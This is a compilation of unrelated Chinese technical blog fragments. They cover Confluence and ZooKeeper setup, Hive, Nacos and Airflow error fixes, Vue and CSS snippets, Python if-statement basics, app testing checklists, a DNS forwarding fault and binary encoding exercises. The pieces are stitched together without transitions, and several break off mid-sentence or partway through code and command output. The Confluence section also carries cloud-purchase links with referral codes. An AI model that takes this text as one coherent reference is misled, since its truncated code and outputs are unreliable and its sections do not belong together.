文章目录 一、Confluence版本概述二、服务器要求**1.操作系统****2、硬件需求****3、云服务器推荐** 三、安装前系统规划**整个安装过程将涉及到的目录:****Linux系统** 一、Confluence版本概述 Confluence根据安装方式来分,有多种版本,如:
WAR版 – 不推荐使用(需要自行搭建tomcat、jdk或java环境)
Standalone压缩包版 – 不推荐使用(自带所有环境,但安装过程时需要手动配置一些繁琐参数)
exe安装包版本 – Windows系统推荐使用(Windows系统安装包,比Standalone版安装更加便捷,执行安装后,跟着提示向导一路配置即可完成安装,就跟装QQ类似)
bin安装包版本 – Linux系统推荐使用(Linux系统安装包,跟exe安装包一样便捷,行安装后,跟着提示向导一路配置即可完成安装)
强烈推荐大家用bin安装包版本或exe安装包版本,此版本独立稳定、安装简单、维护便捷。后面的安装教程也以此版本来编写。
二、服务器要求 1.操作系统 Confluence可以安装于Windows系统、Linux系统、Mac系统等。但建议用这些系统吧:Centos 6.5(64位)-推荐、Centos 7(64位)、Ubuntu12.04(64位)、Ubuntu14.04(64位)-推荐。
2、硬件需求 并发用户数CPU内存硬盘1-5双核 2GHz+ 处理器或相似配置512M5G硬盘25-100四核 2GHz+ 至强处理器或相似配置2GB10G硬盘100+四核 2GHz+ 至强处理器或更高4GB20G硬盘 以上硬件需求是摘自官方的,根据经验,推荐配置如下
配置级别CPU内存硬盘低配双核4GB100GB中配四核4GB或8GB100GB+高配N核N GBN GB 上面的推荐配置都可以玩得动Confluence,当然,配置越高,玩得越爽,大家自己根据实际使用环境及成本酌情考虑。。。
3、云服务器推荐 如果你打算用云服务器,推荐用阿里云或腾讯云,比较稳定。
阿里云推荐购买链接:
https://www.aliyun.com/minisite/goods?userCode=ogy8dnvu
上面链接请按照下面步骤操作:
1、如果你未登录阿里云账户,直接复制上面的地址到你的浏览器,访问,选配置购买即可。
2、如果你已登录阿里云账户,打开网址后会显示阿里云账户已登录,请先退出,重新复制上面地址,重新打开,重新登录
腾讯云推荐购买链接:
https://cloud.tencent.com/act/cps/redirect?redirect=1053&cps_key=d3464517c8486dee6e50c75a6a2e4e4f&from=console
上面链接请按照下面步骤操作:
1、如果你未登录腾讯云账户,直接复制上面的地址到你的浏览器,访问,选配置购买即可。
2、如果你已登录腾讯云账户,打开网址后,显示账户已经登录,请先退出,重新复制上面地址,重新打开,重新登录才有效
三、安装前系统规划 整个安装过程将涉及到的目录: Atlassian各产品: 目录类型说明磁盘占用安装目录产品程序的安装目录基本固定数据目录产品使用过程中产生的数据(如配置文件、图片、文档等附件) 的存放目录逐渐越来越大、增速较快 数据库: 目录类型说明磁盘占用安装目录数据库程序的安装目录基本固定数据目录数据库的数据文件目录逐渐越来越大、增速较慢、因为数据库基本只存储文本数据 JDK环境: 只有Crowd、Fisheye/Crucible、Bamboo需要额外装JDK环境,其它Atlassian产品都已自带JDK环境,无需再装。
目录类型说明磁盘占用JDK目录JDK安装目录基本固定JRE目录JRE安装目录基本固定 GIT: 有安装Bitbucket时才需要安装GIT。
目录类型说明磁盘占用安装目录GIT安装目录基本固定 通过上面目录分析,我们安装原则:
将Atlassian产品安装在容量富足的分区中;数据库安装目录、JDK的两个目录安装在系统分区中;数据库数据目录、GIT目录也安装在富足的分区中。 Linux系统 本例中Linux系统为阿里云,"/“分区才20G,额外购买了一个100G磁盘,挂载在自建的”/data"分区中
[root@langer ~]# df -h // 查询当前系统磁盘分区情况 Filesystem Size Used Avail Use% Mounted on /dev/xvda1 20G 8.
项目场景: hive3.x安装报错 问题描述: 启动hiveserver 报错提示
2021-06-04T23:30:56,010 INFO [main] server.HiveServer2: Stopped tez session pool manager. 2021-06-04T23:30:56,010 WARN [main] server.HiveServer2: Error starting HiveServer2 on attempt 1, will retry in 60000ms java.lang.NoClassDefFoundError: org/apache/tez/dag/api/TezConfiguration at org.apache.hadoop.hive.ql.exec.tez.TezSessionPoolSession$AbstractTriggerValidator.star tTriggerValidator(TezSessionPoolSession.java:74) ~[hive-exec-3.1.2.jar:3.1.2] at org.apache.hadoop.hive.ql.exec.tez.TezSessionPoolManager.initTriggers(TezSessionPoolMa nager.java:207) ~[hive-exec-3.1.2.jar:3.1.2] at org.apache.hadoop.hive.ql.exec.tez.TezSessionPoolManager.startPool(TezSessionPoolManag er.java:114) ~[hive-exec-3.1.2.jar:3.1.2] at org.apache.hive.service.server.HiveServer2.initAndStartTezSessionPoolManager(HiveServe r2.java:839) ~[hive-service-3.1.2.jar:3.1.2] at org.apache.hive.service.server.HiveServer2.startOrReconnectTezSessions(HiveServer2.jav a:822) ~[hive-service-3.1.2.jar:3.1.2] at org.apache.hive.service.server.HiveServer2.start(HiveServer2.java:745) ~[hive-service- 3.1.2.jar:3.1.2] at org.apache.hive.service.server.HiveServer2.startHiveServer2(HiveServer2.java:1037) [hi ve-service-3.1.2.jar:3.1.2] at org.apache.hive.service.server.HiveServer2.access$1600(HiveServer2.java:140) [hive-ser: 原因分析: if (!activePassiveHA) { LOG.info("HS2 interactive HA not enabled.
像这种代码就很打脑壳~
// 贷款申请操作的处理 function check() { // 是否输入正确用户名 if (this.checkUsername(this.username)) { // 是否输入正确身份证号 if (this.checkIdCard(this.idCard)) { // 请输入正确的电话号码 if (this.checkTel(this.tel)) { // 担保人是本人 if (this.dbr === '担保人是本人') { // 是否存在身份证正面 if (document.querySelector('.sfzzm img')) { console.log('存在身份证正面') // 是否存在身份证反面 if (document.querySelector('.sfzfm img')) { console.log('存在身份证反面') // 是否存在学历证书 if (document.querySelector('.xlzs img')) { console.log('存在学历证书') if (this.ydxy) { this.tijiaoIsShow = false } } else { Toast('请上传学历证书') this.tijiaoIsShow = true } } else { Toast('请上传身份证反面') } } else { Toast('请上传身份证正面') } } else if (this.
一:先写好两个css样式放在static文件夹中
二:在index.html中添加css link链接
三:在App.vue中的 created中添加默认执行方法
created() {
var style = localStorage.getItem("style");
if(style){
document.getElementById('style').setAttribute("href",style); //实现将主题保存在内存中刷新浏览器不改变
}
}
四:最后在需要的页面写上切换主题功能
主题切换 切换到紫色主题
切换到蓝色主题
export default {
name: "ThemeBody",
data(){
return{
body_now:null
}
},
methods:{
change:function (type) {
if(type == 1){
document.getElementById('style').setAttribute("href","../static/css/one.css");
localStorage.setItem("style","../static/css/one.css");
}else if(type == 2){
document.getElementById('style').setAttribute("href","../static/css/two.css");
localStorage.setItem("style","../static/css/two.css");
}
}
}
}
完成效果
zookeeper配置启动及配置文件解析 (一) 本文基于zookeeper 3.7.0
单机部署 1、由于zookeeper集群的运行需要Java运行环境,所以需要首先安装 JDK2、官问下载zookeeper安装包,并上传服务器
https://zookeeper.apache.org/releases.html3、解压zookeeper
tar -zxvf zookeeper-xxx.tar.gz4、进入zookeeper根目录5、修改配置文件
复制配置文件
cp conf/zoo_sample.cfg conf/zoo.cfg
编辑配置文件
vim conf/zoo.cfg
修改dataDir数据目录,/data/zookeeper是我的目录,你需要改成你的目录,其他默认# 心跳的间隔时间 tickTime=2000 # 允许follower(相对于 leader 而言的“客户端”)连接并同步到leader的初始化连接时间,它以tickTime的倍数来表示。当超过设置倍数的tickTime时间,则连接失败 initLimit=10 # leader与follower之间发送消息,请求和应答时间长度。如果follower在设置的时间内不能与leader进行通信,那么此follower将被丢弃 syncLimit=5 # 数据目录 dataDir=/data/zookeeper # 端口号 clientPort=2181 启动zookeeper服务
./bin/zkServer.sh start
到这里单机部署已经完成 集群部署 1、找3台或以上机器(最好是奇数),每台机器重复上面步骤,启动成功后都停止。2、确定3台机器IP,并在zoo.cfg文件中追加配置#cluster server.1=172.16.6.121:2888:3888 server.2=172.16.6.122:2888:3888 server.3=172.16.6.123:2888:3888 这里2888、3888必须是不被占用的端口,2888表示follower和leader交换消息所使用的端口,3888表示选举leader所使用的端口,这两个端口可以根据你的实际情况修改
3、分别在3台机器的/data/zookeeper目录下创建myid文件,并分别写入1、2、3
vim /data/zookeeper/myid4、依次启动3台机器
集群部署已经完成 zookeeper启动入口 在zookeeper启动文件bin/zkServer.sh中会看到启动入口类
org.apache.zookeeper.server.quorum.QuorumPeerMain
QuorumPeerMain 在QuorumPeerMain类中可以直接找到main方法
main方法 public static void main(String[] args) { QuorumPeerMain main = new QuorumPeerMain(); try { main.initializeAndRun(args); } .
作者简介 作者名:1_bit
简介:CSDN博客专家,2020年博客之星TOP5,蓝桥签约作者。15-16年曾在网上直播,带领一批程序小白走上程序员之路。欢迎各位小白加我咨询我相关信息,迷茫的你会找到答案。
必看提示 项目存放在:https://editor.ivx.cn/#10692349 有需要的直接可以看着仿
1小时学会不打代码制作一个网页精美简历(1)
1小时,不会代码的我如何完成 网易云音乐 大作业网页制作?(IVX 第2篇)
1小时赚300块,不打代码帮人做个吃鸡网页 [IVX实战第3篇]
1小时零基础赚一千,教你完成图书管理系统,不用打代码绝对学得会![完整全站教学 IVX 实战第四篇]
注:图片资源可以私聊 bit 哥拿~欢迎私聊热心博主 bit 哥哟
剧情开始 👸小媛:bit 哥,IVX 真强大,上次做的东西客户很满意。😂
🐶1_bit:那你跟他了华为、平台、保利等企业的都在用 IVX 吗?
👸小媛:讲了,然后他觉得很牛批,多给了我两百块。😂
🐶1_bit:哈哈哈,那你现在知道 IVX 到底是啥吗?都赚几单了。
👸小媛:IVX 是一个编程语言、IDE,可以一键部署应用到云,并且一大堆的解决方案,分分钟做好一个应用。
🐶1_bit:IVX 还可以做小游戏呢,你知道吗?
👸小媛:还可以做?我刚刚拒绝了一个同学叫我做小游戏,说给我1000。😂
🐶1_bit:是的呢,小程序也可以做。
👸小媛:那你教我做小游戏好不?☺️
🐶1_bit:哈哈哈,你接单上瘾呀。
👸小媛:没呢,这是我在学校里名气越来越足了。☺️
一、创建小游戏 🐶1_bit:好吧。那我们先打开 IVX 在线IDE,https://editor.ivx.cn/。
👸小媛:打开了。
🐶1_bit:我们选择小程序游戏,选择 2D并且取个名称,我们先制作一个 2D 版本的经典飞机大战小游戏。
👸小媛:Nice。
🐶1_bit:这个时候将会出现一个界面,界面的详细信息如下所示;在这里需要提醒的一点是,属性栏会显示当前在对象树中选择的元素属性。
👸小媛:收到。
🐶1_bit:我们开始第一步吧。由于我们需要做的是一个2d小游戏,在小游戏中我们的游戏元素都是以图片作为角色素材,最后再给图片添加一些逻辑脚本,此时就可以让这个图片对应产生运动效果、碰撞效果、碰撞逻辑、碰撞效果等游戏逻辑,但是在 IVX 中可以使用可视化的逻辑设置,让游戏开发变得简单、易懂。
👸小媛:哈哈哈,不用打代码就是香。😆
🐶1_bit:此时,我们可以从左侧栏中找到图片组件,点击后鼠标变成十字,我们在画布中绘制出图片需要的大小,之后将会弹出一个资源选择框,在选择框中我们找到我们需要的图片素材,确定后该组件就可以添加到这个画布之中。(游戏素材可以找 bit哥拿,私聊就好)
👸小媛:解决了。
🐶1_bit:如果觉得大小不喜欢,此时我们可以拖动图片的 8 个缩放按钮,使图片能够进行缩放绘制。
二、事件 🐶1_bit:在 IVX 中,我们可以通过事件对这个主角编写逻辑。
👸小媛:事件是什么?😅
🐶1_bit:事件就是有什么动作对这个主角进行响应。
本文以图片和说明,手把手教大家怎么让Notepad++中的代码风格看起来更美观。
方法步骤
1、下载Notepad++并安装NppExec插件。
插件--->Plugin Manager--->show Plugin Manager--->安装NppAStyle插件。
2、或者直接下载NppAStyle插件(https://www.kafan.cn/softs/514877.html)。
我们选择下载NppAStyle_bin_0.10.02.14.zip这个文件。
3、下载后我们打开这个压缩文件,发现有两个文件夹ansi和unicode(ansi是标准编码,支持语言少;unicode是通用编码,支持更多的语言)。
打开unicode文件夹,将里面的NppAStyle.dll解压出来,将NppAStyle.dll放置到Notepad++安装目录下的plugins文件夹下。
4、重启Notepad++看NppAStyle是否安装成功,看到如图所示的信息就说明安装成功。
5、配置NppAStyle。
点击菜单栏中的"插件"--->"NppAStyle"--->"options",在代码风格中选择java。
6、点击菜单栏中的"插件"--->"NppAStyle"--->"Format code"(或者按快捷键Alt+f),欣赏格式化后的代码风格。
7、体验不同的代码风格并选择自己中意的某种代码风格。
重复第4步骤,例如将代码风格选中ANSI,按下快捷键Alt+f,欣赏格式化后的代码风格,并与第5步骤中格式化后的代码风格相比较。
8、特别要注意:目前NppAStyle插件只支持格式化C、C++、C#、Java这四种编程语言的代码。
我们小编补充:
注:本文撰写时,NppAstyle的最高版本为0.10.02.14(更新于2013-04-08),Astyle的最高版本为2.05.1(更新于2014-12-11)。
Astyle是一个很好的代码格式化工具,功能强大,效率也很高。notepad++配上它简直就是如虎添翼。网上发布的NppAstyle为jGood开发(感谢作者为我们带来这么方便的插件),只有一个版本(根据SourceForge上的),所以说内建的Astyle版本较老,对于我这样的版本强迫症简直就是要逼死人。好在这个项目的Astyle作为一个Lib隶属于整个项目,所以改起来相当容易。首先,我下载到了最新版的Astyle代码。然后覆盖了原来的AstyleLib文件夹。开始编译,发现有一些错误,不能通过编译。问题主要出在PluginDefinition.cpp中。
旧版本的Astyle默认提供Lib版的函数声明(或者是作者已经在fork时修改过了代码?),但这个版本不是。所以在PluginDefinition.cpp最前面加上一句话#define ASTYLE_LIB。
旧版本的fpError类型定义为“typedef void (STDCALL* fpError)(int errorNumber, char* errorMessage);”,新版本则定义为“typedef void (STDCALL* fpError)(int errorNumber, const char* errorMessage);”,所以传参数时,第二个char*改为const char*。
就这两点,改完就可以愉快地编译了。在这里我顺便给懒癌患者们提供一下改好的项目文件(VS2015)以及编译好的DLL文件。另外,内建Astyle版本的升级必定会带来许多新特性,有时间我会让它们在这个插件中一一体现出来。
最上面的我们本地的下载地址就已经提供了
if 判断条件的时候,如果是多个条件一起进行判断,那么就需要 逻辑运算符
并且----->and
或者----->or
非(取反)--->not
if 条件1 and 条件2:
条件1和条件2都满足时,做的事情1
条件1和条件2都满足时,做的事情2
。。。等等。。。
总结:
方式1:
if 条件:
条件满足时做的事情1
条件满足时做的事情2
条件满足时做的事情3
。。。。等等
方式2:
if 条件:
条件满足时做的事情1
条件满足时做的事情2
条件满足时做的事情3
。。。。等等
else:
条件不满足时做的事情1
条件不满足时做的事情2
条件不满足时做的事情3
方式2:
if 条件1:
条件1满足时做的事情1
条件1满足时做的事情2
条件1满足时做的事情3
。。。。等等
elif 条件2:
条件2满足时做的事情1
条件2满足时做的事情2
条件2满足时做的事情3
elif 条件3:
条件3满足时做的事情1
条件3满足时做的事情2
条件3满足时做的事情3
else:
条件1、2、3都不满足的情况下,默认执行的事情,(注意else可以可无,根据实际的功能来确定)
如果条件1满足,那么就执行条件1满足时做的事情,做完后,下面的条件2、3都不会被执行,而是直接结束整个if语句
如果条件1不满足,那么就判断条件2是否满足,如果条件2满足,那么就执行条件2满足时执行的代码,然后结束整个if语句
如果条件1、2都不满足,那么就判断条件3,如果条件3满足,那么就执行条件3满足时执行的事情,然后 整个if语句结束
if xxxx:
yyyyyyy
if xxxxx2:
yyyyyyy2
重复执行代码的方法1:
print("亲爱的,我错了,请原谅我....")
print("亲爱的,我错了,请原谅我....")
print("亲爱的,我错了,请原谅我....")
print("亲爱的,我错了,请原谅我....")
print("亲爱的,我错了,请原谅我....")
重复执行代码的方法2:
if 条件:
1.psycopg2.OperationalError:FATAL:remaining connection slots are reserved for non-replication superuser connections
The above exception was the direct cause of the following exception:
Traceback(most recent call last):
File "home/XXX/anaconda3/envs/airflow/lib/python3.6/site-packages/sqlachemy/engine/default.py",line 493,in connect
return self.dbapi.connect(*cargs,**cparams)
File "/home/XXX/anaconda3/envs/airflow/lib/python3.6/site-packages/psycopg2/__init__.py",line 127, in connect
conn = _connect(dsn,connection_factory=connection_factory,**kwasync)
sqlalchemy.exc.OperationalError:(psycopg2.OperationalError) FATAL: remaining connection slots are reserved for non-replication superuser connections
(Background on this error at:http://sqlalche.me/e/13/e3q8)
当时几天频繁报该错,一开始说的是example_subdag_operator无法import,后来把这个dag置灰了,但是后来又有报错,加之分析报错内容,应该是连接backend的postgresql出了问题(因为sqlachemy本身更新引起的可能性很小,况且环境中用的sqlachemy版本本身就不是最新版)。后来登录上postgresql,发现了端倪:
我的postgresql最大连接数才100,airflow用了94个,然而idle是空闲的意思,推测应该是没有释放连接,导致没有剩余连接可用(后来知道是僵尸task)。
解决:
1.首先修改postgresql最大连接数: show max_connections; -- 查看 alter system set max_connections= 数量; -- 修改 然后重启postgresql服务生效参数。 (其实这一步完了之后,airflow就已经恢复了正常,因为可以获得连接了) select usename, count(*) from pg_stat_activity group by usename order by count(*) desc; 但还是要根除一下 2.
【一】、image标签展示二维码
目前微信官方支持小程序原生页面在微信版本IOS≥8.0.6,安卓≥8.0.3时直接长按识别二维码,
<image src="二维码图片地址" show-menu-by-longpress="true"></image> !!注:show-menu-by-longpress=“true” 这个属性一定要加上,否则长按不会有反应
但是,这样识别的目前不支持跳转到对应页面(如添加好友),官方也证实这是当前版本的 bug ,并承诺会在下一个版本里面修复;也许你看到这篇文章的时候这个 bug 已经修好了。
【二】、preview-使用的小程序 api
小程序原生页面中,在微信版本IOS≥8.0.6,安卓≥8.0.3时支持通过点击放大图片,然后长按识别二维码,实现跳转功能:
WXML
<image src="二维码图片地址" bindtap="clickImg"/> JS
clickImg(){ wx.previewImage({ urls: ['二维码图片地址'] }) } 支持识别以下二维码:
✅ 识别小程序码 - ✅ 跳转小程序 ✅ 识别微信、企微群二维码 - ✅ 跳转到加群页面 ✅ 识别名片二维码 - ✅ 跳转到加好友页面 ❌公众号二维码 【三】、webview 中嵌入二维码
支持将企微或者个微的二维码放在公众号推文里,长按推文里的二维码识别跳转
1、将企业微信的二维码放置在一篇公众号图文中
2、将这个公众号和小程序关联(!!注:必须关联起来,否则小程序的 webview 无法打开推文。这个关联操作在公众号后台即可操作)
3、在小程序的webview页面里打开这篇公众号图文,并长按企业微信二维码进行识别
✅ 识别小程序码 - ✅ 跳转小程序 ✅ 识别微信、企微群二维码 - ✅ 跳转到加群页面 ✅ 识别名片二维码 - ✅ 跳转到加好友页面 ✅ 公众号二维码-✅ 跳转到关注公众号页面 但是【三】在IOS受微信版本号限制,安卓机不受微信版本号限制…
网上下载nacos的安装包,启动发现报错
报错信息:Unable to start embedded Tomcat
无法加载内置的tomcat。
在网上找了些解决办法,说是jdk配置不正确,版本低,或者是环境变量没有配置JAVA_HOME。
我看了下我的环境变量配置,是没问题的,JDK版本1.8_077. 问题应该也不大。
我找了下nacos的目录结构,发现有几个文件夹,
bin里面是启动和关闭nacos的
conf很明显是配置文件
logs是日志信息
data里是空的
target里有一个springboot的jar包,很明显是打包后的nacos项目。
于是我打开日志看了下报错信息,nacos.log
最下面一行发现了一个敏感字眼:Caused by: java.lang.RuntimeException: [db-load-error]load jdbc.properties error
难怪是数据库配置的问题?
于是打开conf文件夹,看到有一个nacos-mysql.sql
看来是要导入数据库脚本,于是在本地数据库创建了一个名为nacos的数据库,
并执行这个sql脚本,生成了一些表。
有库有表肯定要改配置。
于是用编辑器打开application.properties
看到有配置db的地方,于是改了改。
保存后。
再次进入bin目录,双击startbat.cmd运行。
发现依然报错。
aused by: java.net.UnknownHostException: jmenv.tbsite.net
报错:不知名的主机异常。
这里我重新改了下配置文件,也没有什么作用。
关键一点,启动的时候,我注意到一个信息,
nacos一直在以集群模式启动,cluster list is []
我在想问题会不会出在这里,因为我是单击运行的,并没有配置nacos集群。
于是我用编辑器打开bin目录下的startup.cmd
看到一个关键信息
这里是可以配置单击模式启动的,于是尝试着改启动配置,以单击模式启动
保存后退出。再次双击启动文件startup.cmd。
这次正常启动了。
在浏览器打开localhost:8848/nacos/index.html
正常访问nacos配置中心。
介绍:
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议 下载,并可以使用 HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。
所谓自动下载,是指 wget 可以在用户退出系统的之后在继续后台执行,直到下载任务完成。
使用weget下载报错
-bash: wget: command not found
安装weget命令: yum -y install wget 发现weget已经存在卸载wget — 命令 yum remove wget再运行安装命令,报错发现是没有安装Deltarpm包安装deltarpm :yum install deltarpm -y再安装weget成功!! yum -y install weget
问题 本地起服务,访问页面的时候报错,刚还运行的好好的,怎么突然报错了???
经过一系列的排除定位问题,发现可能是因为浏览器版本导致的登陆问题,具体报错如下:
方案 方案一:更改浏览器默认配置 访问网址:chrome://flags/
Schemeful Same-Site禁用,设为disabled后,再重新刷新浏览器,没有报错了
在Chrome 80版本,SameSite的默认值被改为Lax
上述翻译:修改同站点计算,使得具有相同可注册域但不同方案的源被视为跨站点。此更改仅适用于具有“SameSite”属性的 cookie。 – Mac、Windows、Linux、Chrome 操作系统、Android
如果不想改浏览器,怎么办呢?具体原因等会再分析,先说解决方案
方案二:改请求代码 本地服务类似:http://dev.example.cn
后端服务的请求:https://back.example.cn
属于跨域访问,日常开发,本地服务是通过webpack-dev-server的方式启动,通过配置
proxy:{ "/XXX":{ target: "https://login.example.cn", changeOrigin: true, secure: false, } } 的方式解决跨域
之前代码网络请求地址
chrome版本升级后,该请求地址跨域,无法请求到数据
去掉代码中,定义的后端的常量域名:“https://back.example.cn/”
使后端接口请求地址自动补充为本地服务“http://dev.example.cn” , proxy 代理到测试环境的统一域名请求地址,例如:“https://web.leke.cn”
内容补充 透过这个网站可以检查当前自己的浏览器是否已经更新为最新版本的SameSite规则,全部为绿色则为已开启新规则。
https://samesite-sandbox.glitch.me/
1、手机APP测试怎么做?
手机APP测试,主要针对的是android和ios两大主流操作系统,主要考虑的就是功能性、兼容性、稳定性、易用性(也就是人机交互)、性能。
手机APP测试前的准备:
1.使用同类型的产品,不仅仅是使用,应该是测试同类型的产品。
2.熟悉我们产品的spec文档,积极和pm交流。
3,写测试用例,没有时间至少要有一个checklist。
手机APP测试测试要点:
功能测试(流程测试、功能点测试)、兼容性测试、交叉测试、安装卸载测试(包括应用的升级)、压力测试(接口压力测试);
功能测试:对具体功能点一一测试,确保每个点都能正确实现相应功能;功能方面目前市场上还没达到自动化的水平,主要用手工来测。出现问题最多的也就是特殊符号、边界值、按钮之类的。基本功能,主要指app是否完成了设计的所有功能。分清模块,写一份checklist,避免漏测。考虑横竖屏切换,不过很多app现在只支持竖屏。
兼容性测试:对市场上主流的设备安装应用执行测试,确保都能正常运行;兼容性方面考虑手机的版本、型号、分辨率。不同的版本是存在差异的,一般低版本容易出现问题。
稳定性测试:主要是闪退、系统崩溃、没响应之类的。
易用性测试:需要考虑界面是否吸引人、容易理解、界面整洁、简单、无错别字。点击范围确定等。这部分测试中,如果测试认为有不合理的地方通常会提交需求bug。
性能测试:主要是靠工具来实现的CPU占用、内存占用、电池温度等。
交叉测试:对于正在运行的应用,若进入短信、电话等其他软件响应的情况,不会影响所测试应用,且会保证应用都能正确运行;主要考虑范围包括电话短信干扰,低电量提醒,push提醒,usb数据线插拔提醒,充电提醒等。
安装卸载测试:确保应用都能正确安装、卸载,且能正确运行(注意应用的升级测试:升级前后的状态);
压力测试:用户量大,交互性高的应用需对接口执行压力测试,确保不会应用在大用户量的情况下能正常运行。
外场:网络切换,网络信号强和弱情况下的app运行情况。
闪退(内存不足等情况),在手机上,该类问题出现的几率很大,应着重测试,比如,返回访问某个模块(数据时时获取的模块),切换应用,重复提交、来电交互等都是闪退几率大的原因。
以下是功能测试时需要注意的点:
1、登录
●登录用户名和密码错误时,界面有提示信息
●用户主动退出登录后,下次启动APP时,应该进入登录界面
●对于支持自动登录的APP,数据交换时,是否能自动登录成功且数据库操作无误
●密码更改后,登录时是否做到了有效数据的校验
●对于未登录时一些页面的操作,是否做了控制
●切换账号登录,检验登录的信息是否做到及时更新
●对于多个端都进行操作时,确保数据库操作无误,且每个端可以及时看到数据的更新
●对于一些软件,支持一个账号只允许登录一台机器,这时,需要检查账号登录多个手机时,是否将原用户剔除,且能够给出提示信息
● APP切换到后台时,再次切换到前台的测试,如登录时,有电话打进来
2、离线
离线是应用程序在本地的客户端会缓存一部分数据以功程序下次调用
●对于一些程序,需要在登录进来后,这时没有网络的情况下可以浏览本地数据
●对于无网络时,刷新获取新数据时,不能获取数据且能给出友好提示
●切换到后台,再次切换到前台时,可以正常查看
●离线后又连上网,这时对数据有更新时,需要从服务器端获取新数据来更新客户端数据,且要更新本地缓存信息
●对于一些界面的数据不提供离线查看,需要给出相应提示且界面更新后无任何数据
3、数据库
android和IOS客户端都采用了数据库,
当APP需要在客户端保存数据时,它们会创建相应的数据库表,最常见的就是对账号的保存,这时的测试点主要有:
●跟一般数据库一样,需要检查数据的增,删,改,查
●客户端即用即建,当表不存在时,是否会自动创建
●数据表被删除后,新建的表中的数据能否自动从服务器端中获取回来并保存
●当对数据进行了修改,删除,客户端和服务器端能否有相应的更新
●获取数据,客户端是从直接从客户端获取还是和服务器端的数据进行比较
●对于客户端从服务器端更新的数据,客户端是否有保存于本地。
内网DNS解析错误 1. 起因 DNS主域控在境外,想将内网DNS解析由本地DNS解析.网络环境为内网,无法访问INTERNET.搭建完毕后发现无法解析需要forward那些zone.
bind版本:bind-9.11.4
2. 故障现象 起初配置非常顺利,通过以下命令,将intra.aaa.com的所有记录都抓取下来,并实现所有现有的A记录和CNAME等解析
dig -t axfr intra.aaa.com @192.168.31.67 当解析intra.aaa.com以外的域名解析时发生了错误.报错信息:
[root@dns01 ~]# nslookup ns1.aaa.com. Server: 192.168.31.66 Address: 192.168.31.66#53 ** server can't find ns1.aaa.com: SERVFAIL 但执行dig ns1.aaa.com. @192.168.31.67又是能解析到的
[root@dns01 ~]# dig ns1.aaa.com. @192.168.31.67 ; <<>> DiG 9.11.4-P2-RedHat-9.11.4-9.P2.el7 <<>> ns1.aaa.com. @192.168.31.67 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19091 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;ns1.
文章目录 方法一:遍历每3位添加 " , "方法二:toLocaleString方法三:正则匹配和replace 把普通的数字转换为带千位分隔符格式的数字字符串是一个非常常见的问题,
千位分隔符格式的规则是数字的整数部分每三位一组,以“,”分节。小数部分不分节 。
示例:12,345,678.23456 注:只针对number所以不做其他类型的校验 方法一:遍历每3位添加 " , " const numFormat1 = param => { const num = param + ''; const numGroup = num.includes('.') ? num.split('.') : [num]; const intFn = numStr => numStr .split('') .reverse() .reduce((prev, next, index) => { return (index % 3 ? next : next + ',') + prev; }); const intNum = intFn(numGroup[0]); const floatNum = numGroup[1] ? '.
软件工程师能力认证C1任务01-进制与信息编码 挑战说明任务一:用「0」和「1」绘图任务二:掌握进制编辑器扩展:修改游戏存档修改关卡修改金币解锁模式 自测题 挑战 RTC(Real-time Communications,实时通信)技术在这次新冠肺炎疫情的全球大爆发中,为视频会议、直播连麦、远程协助提供了有力的支撑。但是如果让一个普通的软件工程师来做这方面的开发,有可能是一头雾水。即使是一些有多年开发经验的工程师,如果不了解底层数据编码的原理,也将无从下手,仅仅是因视频转码和多媒体切割这两项技术会难到一大批人。为什么会这样呢?因为如果想在尽可能减小文件体积的同时还能传输高保真音视频文件,必须对文件数据编码非常熟悉才行,而它的底层技术基础就是计算机进制。
说明 数据编码技术背后的计算机二进制知识是软件工程师必备的基础技能,也是C1阶段的计算机通识模块之一,大厂开发中的多媒体数据采集、分割、压缩、编解转码、传输、纠错、合并工作,都和它息息相关。
任务一:用「0」和「1」绘图 在code.org上注册账号,完成与计算机像素相关的系列任务( https://studio.code.org/s/pixelation)注册账户时需要注意 账号角色选择学生选择最大年龄21+(有些任务会以年龄太小为由被拒绝执行) 先通过二进制的0和1 「画」出你喜欢的图形再试着画出自己的名字或昵称理解用计算机二进制存储图片文件的底层原理
绘制图像如下:
任务二:掌握进制编辑器 修改文本内容
在Windows Mac/Linux上使用文本编辑器并创建文件并输入内容
用进制编辑器结合字符编码,输入一整段二/十六进制数据,再用文本编辑器验证输入的内容是否符合预期
修改图片内容
全白图片
全黑图片
掌握规律后, 用进制编辑器创建出—幅图bmp/png图片
把黑色图片变白
扩展:修改游戏存档 修改关卡 修改金币 解锁模式 自测题 110101010001转十六进制是多少?有什么快速方法?
Answer: D51 从低位4位看作1位101011.101011对应的十进制是多少?
Answer: 43.671875常见的音频编码格式有哪些?
按波形编码、参数编码和混合编码三类编码技术分类,从编码率(码率)、语音质量和应用领域方面比较一些典型的编码方法,具体参见下表。
表 1 典型音频编码技术比较
上表中各种算法、应用领域中缩略语的中文和英文全称参见下面说明。
PCM:Pulse Code Modulation,脉冲编码调制。
ADPCM:Adaptive Differential Pulse Code Modulation,自适应差分脉冲编码调制。
SB-ADPCM:Subband Adaptive Differential Pulse Code Modulation,子带-自适应差分脉冲编码调制。
LPC:Linear Predictive Coding,线性预测编码。
CELPC:Code Excited Linear Predictive Coding,码激励线性预测编码。
VSELPC:Vector Sum Excited Linear Predictive Coding,矢量和激励线性预测编码。
css样式怎么插入背景图片?下面本篇文章给大家介绍一下。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。
在css中,给html元素添加背景图,主要通过background-image属性来设置。
background-image 属性设置一个元素的背景图像。
元素的背景是元素的总大小,包括填充和边界(但不包括边距)。
默认情况下,background-image放置在元素的左上角,并重复垂直和水平方向。
提示:请设置一种可用的背景颜色,这样的话,假如背景图像不可用,可以使用背景色带代替。
示例:
CSS样式代码:
.backimage {
/*设置图片大小*/
width: 980px;
height: 200px;
/*背景图像将仅显示一次 no-repeat*/
background-repeat: no-repeat;
/*添加您要添加的背景图片*/
background-image: url('Images/reg_bg.gif');
/*图片居中*/
margin: auto;
}
.backtable {
margin-top: 40px;
/*向上浮动*/
float: left;
}
HTML代码:
用户名:密码 附上效果图:
更多web前端知识,请查阅 HTML中文网 !!
